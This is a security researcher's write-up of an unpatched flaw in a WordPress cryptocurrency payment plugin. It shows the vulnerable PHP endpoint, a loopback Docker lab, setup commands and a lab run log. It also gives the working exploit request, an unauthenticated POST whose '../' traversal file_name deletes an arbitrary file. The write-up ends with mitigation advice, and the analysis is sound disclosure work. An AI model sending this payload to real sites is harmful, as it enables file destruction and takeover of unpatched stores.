Research/CVE-2026-81648
N-dayCVE-2026-81648CriticalPublic

CVE-2026-81648: WordPress CryptoPayment Gateway, unauthenticated RCE

CryptoPayment Gateway 1.2.2 vendor/cryptd/ajax.php is a direct PHP endpoint. It defines crpay_security_error() and never calls it. delete-file concatenates __DIR__/uploads with file_name. Five .. reaches wp-content. No public patch.

Name
CVE-2026-81648: WordPress CryptoPayment Gateway, unauthenticated RCE
Type
N-day analysis
CVE
CVE-2026-81648
CVE Risk
critical
Disclosure Status
public
Vendor
Granwill
Affected
CryptoPayment Gateway (cryptopayment-gateway) 1.2.1-1.2.2; WPScan lists no known fix
Published
19 Sept 2026
Updated
19 Sept 2026
Tags
n-day, wordpress, missing-auth, path-traversal, cwe-862, unauthenticated, rce

The guard is never called

I am @abraxas_null. The proof of concept is on GitHub: abraxas/CVE-2026-81648 (loopback client). The lab stack is lab/: Dockerfile, docker-compose.yml, docker-compose.override.yml. Authorized lab only. It talks to loopback.

CVE-2026-81648 (NVD, GHSA-9r3q-6qw8-8pm7, WPScan) is unauthenticated missing authorization in the WordPress plugin CryptoPayment Gateway 1.2.1-1.2.2, slug cryptopayment-gateway. CWE-862. 10.0 Critical. WPScan: no known fix.

The advisory names an AJAX endpoint without an auth check. That is not admin-ajax.php. It is a raw PHP file under the plugin: vendor/cryptd/ajax.php. POST data as JSON. function=delete-file. file_name is concatenated onto __DIR__/uploads. Five .. from that uploads dir is wp-content. unlink. The same switch also has get-settings, save-settings, encryption. I am not recovering wallet keys. I am not deleting wp-config.php. The lab witness is a unique string disappearing from a planted index.php.

This is the map I used to get from a WordPress homepage to a file that was there and then was not. Isolated lab, loopback only. Deleting the right file is RCE. The stack is in the CVE repo so you can run it at home. The client is the repo above.

What an attacker can do

Unauthenticated POST JSON data.function=delete-file with a traversal file_name. Arbitrary file delete on the server. The same endpoint can overwrite gateway config and recover stored wallet credentials in cleartext. I am not printing a wallet recovery.

The lab (run this at home)

Source of truth is lab/ on GitHub. The Dockerfile pins wordpress:6.4-php8.2-apache. Compose adds mysql:8.0 and wordpress:cli. Port on loopback only. Bind 1.2.2 of the plugin next to compose as ./cryptopayment-gateway (SVN tag). WooCommerce is a dependency.

Dockerfile
# Loopback lab image pin for CVE-2026-81648. Full stack: docker-compose.yml
FROM wordpress:6.4-php8.2-apache
YAML
# CVE-2026-81648 local WordPress lab. Loopback only.
services:
  db:
    image: mysql:8.0
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress
      MYSQL_ROOT_PASSWORD: root
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-proot"]
      interval: 5s
      timeout: 5s
      retries: 30
      start_period: 15s

  wordpress:
    image: wordpress:6.4-php8.2-apache
    ports:
      - "127.0.0.1:8088:80"
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
      WORDPRESS_DEBUG: "1"
      WORDPRESS_CONFIG_EXTRA: |
        define('WP_DEBUG_LOG', '/var/log/lab/debug.log');
        define('WP_DEBUG_DISPLAY', false);
    volumes:
      - wp_data:/var/www/html
      - ./cryptopayment-gateway:/var/www/html/wp-content/plugins/cryptopayment-gateway:ro
    depends_on:
      db:
        condition: service_healthy

  wpcli:
    image: wordpress:cli
    user: "33:33"
    volumes:
      - wp_data:/var/www/html
      - ./cryptopayment-gateway:/var/www/html/wp-content/plugins/cryptopayment-gateway:ro
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
    depends_on:
      wordpress:
        condition: service_started
    entrypoint: ["sleep", "infinity"]

volumes:
  wp_data:

docker-compose.override.yml only routes logs.

YAML
# App processes should log to stdout and/or /var/log/lab.
services:
  db:
    logging:
      driver: json-file
      options:
        max-size: "20m"
        max-file: "5"
    volumes:
      - ./logs/db:/var/log/lab
      - ./logs/db-mysql:/var/log/mysql
  wordpress:
    logging:
      driver: json-file
      options:
        max-size: "20m"
        max-file: "5"
    volumes:
      - ./logs/wordpress:/var/log/lab
      - ./logs/wordpress-apache:/var/log/apache2

The CVE needs a witness file under wp-content/poc81648/index.php. WooCommerce should be active so the plugin loads.

PHP
<?php
/**
 * Lab fixture for CryptoPayment Gateway 1.2.2 (CVE-2026-81648).
 * Witness file for unauth delete-file via cryptd/ajax.php.
 */
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

$wit_dir = WP_CONTENT_DIR . '/poc81648';
if ( ! is_dir( $wit_dir ) ) {
	wp_mkdir_p( $wit_dir );
}
file_put_contents( $wit_dir . '/index.php', "<?php echo 'POCWitness81648';\n" );

Bring-up from the CVE repo lab/:

Plain text
git clone https://github.com/abraxas/CVE-2026-81648
cd CVE-2026-81648/lab
svn export https://plugins.svn.wordpress.org/cryptopayment-gateway/tags/1.2.2 cryptopayment-gateway
docker compose up -d --force-recreate
docker compose exec -T wpcli wp core install \
  --url=http://127.0.0.1:8088 \
  --title='CVE-2026-81648 Lab' \
  --admin_user=admin \
  --admin_password=labadmin \
  --admin_email=lab@localhost.invalid \
  --skip-email
docker compose exec -T wpcli wp plugin install woocommerce --activate
docker compose exec -T wpcli wp plugin activate cryptopayment-gateway
docker compose cp seed.php wpcli:/tmp/seed.php
docker compose exec -T wpcli wp eval-file /tmp/seed.php
python3 ../CVE-2026-81648-Abraxas-Labs.py

The seed is the fixture above; it is not in lab/ on GitHub. Do not publish the port off loopback. The proof of concept is written for 127.0.0.1:8088.

What the tree actually registers

ajax.php is not a WordPress AJAX action. Apache will run it. It JSON-decodes $_POST['data'] into $_POST, then switches on function. There is no wp_ajax_ hook. There is no nonce. There is no current_user_can.

PHP
$_POST = json_decode($_POST['data'], true);
require_once('functions.php');
crpay_cloud_load();

switch ($_POST['function']) {
    // ...
    case 'delete-file':
        die(crpay_json_response(crpay_file_delete($_POST['file_name'], crpay_post('folder'))));

At the bottom of the same file:

PHP
function crpay_security_error() {
    $admin_functions = ['delete-file', 'analytics', 'get-customer', 'encryption', /* ... */];
    $verify = crpay_verify_admin();
    return in_array($_POST['function'], $admin_functions) && ($verify === false || /* ... */);
}

That function is never called from ajax.php. A sibling ajax1.php in the same directory does call it at the top. The live file is ajax.php.

crpay_file_delete:

PHP
function crpay_file_delete($file_name, $folder = '') {
    $path = __DIR__ . '/uploads' . crpay_cloud_path_part() . '/' . $folder . $file_name;
    if (file_exists($path)) {
        return unlink($path);
    }
    return false;
}

No basename. No .. check. __DIR__ is .../vendor/cryptd. uploads plus ../../../../../poc81648/index.php is wp-content/poc81648/index.php.

There is no public vendor patch. Disable the plugin or block that PHP file until there is one.

The 200 that was admin-ajax

The first client I pointed at this was polite. It used admin-ajax.php because this is a WordPress plugin. This endpoint is not WordPress AJAX. You get 0 or a theme. The file is still there.

A few other ways to lose without learning anything:

  • GET. The switch reads POST JSON.
  • function not inside data. The file does json_decode($_POST['data']).
  • Too few ... Count from vendor/cryptd/uploads.
  • Success JSON alone. The file has to disappear.
  • Dumping get-settings / encryption. Same missing guard. I am not printing a wallet recovery.
  • Deleting wp-config.php. Theatre, and not the lab witness.

The tell is: GET witness 200 with POCWitness81648, POST small JSON {"success":true,"response":true}, GET witness without that string (the lab saw 500 HTML from a broken directory index). The string gone is the proof.

What I actually did

Treat the on-disk product as the spec. WPScan named a missing authorization check. I read ajax.php, then noticed crpay_security_error sitting unused, then planted a lab index.php. Proof of concept: CVE-2026-81648-Abraxas-Labs.py.

Witness, POST, witness. GET /wp-content/poc81648/index.php. POST data={"function":"delete-file","file_name":"../../../../../poc81648/index.php","folder":""}. GET again. The unique string must be gone.

Last lab run, trimmed:

Plain text
before status=200 len=15
witness present
ajax status=200 len=32
{"success":true,"response":true}
after status=500
SUCCESS CVE-2026-81648

The file was there. Then it was not. That is the whole argument. The client that produced it is on GitHub.

Wrong turns: admin-ajax.php (this is not WordPress AJAX); GET (the switch reads POST JSON); function not inside data; too few ..; success JSON without the file disappearing; dumping get-settings / encryption; deleting wp-config.php.

What this is not

It is not WordPress admin-ajax. It is not a capability check that failed. It is a capability check that was written and never wired. Sibling ajax1.php shows they knew the list of admin functions.

There is no public patch. Disable CryptoPayment Gateway or block vendor/cryptd/ajax.php. Re-run the loopback client after you have a vendor build: the witness file must still be there.

I am not going to print a path that deletes wp-config.php or a get-settings dump of wallets. The unused guard and the unsanitized file_name are the useful part. If you own the box, run the proof of concept against loopback.

Client bugs look like product bugs. A helper that shadows http.client never sends a packet. .recv() on an HTTPResponse is not .read(). I mention that once because it cost time and looked, for a minute, like the plugin was fine.

References